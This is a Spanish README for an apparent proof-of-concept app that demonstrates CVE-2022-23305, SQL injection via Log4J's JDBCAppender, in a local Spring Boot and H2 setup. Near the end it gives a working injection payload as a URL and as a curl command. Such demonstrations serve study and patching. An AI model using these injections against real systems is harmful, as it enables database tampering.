
CVE-2022-23305 Log4J JDBCAppender inyección SQL POC
Esta es una aplicación muy sencilla basada en Spring Boot que demuestra la vulnerabilidad CVE-2022-23305. Utiliza Apache Maven, Spring Boot, Spring MVC y la base de datos en memoria H2 para registrar una entrada simple, tomada como un parámetro de cadena de consulta de URL. Dado que Log4J está configurado para usar un JDBCAppender, es vulnerable a la inyección SQL.
Ver src/main/java/poc/InjectionController.java para la sentencia de registro.
Ver la carpeta src/main/resource para todos los archivos de configuración.
Puedes ejecutar la aplicación con Java y Maven mediante el comando "mvn clean spring-boot:run".
También puedes ejecutarla como una aplicación Docker, por ejemplo:
docker build --tag log4j-poc .
docker run -p 8080:8080 log4j-poc
La aplicación estará disponible en http://localhost:8080/.
Para explotar la vulnerabilidad, envía una sentencia SQL inyectada como el parámetro que se está registrando:
"http://localhost:8080/?param=');insert into logs values(':("
La respuesta listará las entradas de registro añadidas, incluida una que fue añadida por el SQL inyectado en el parámetro.
Para hacer lo mismo con curl, usa:
curl 'http://localhost:8080/?param=%27);insert%20into%20logs%20values(%27:('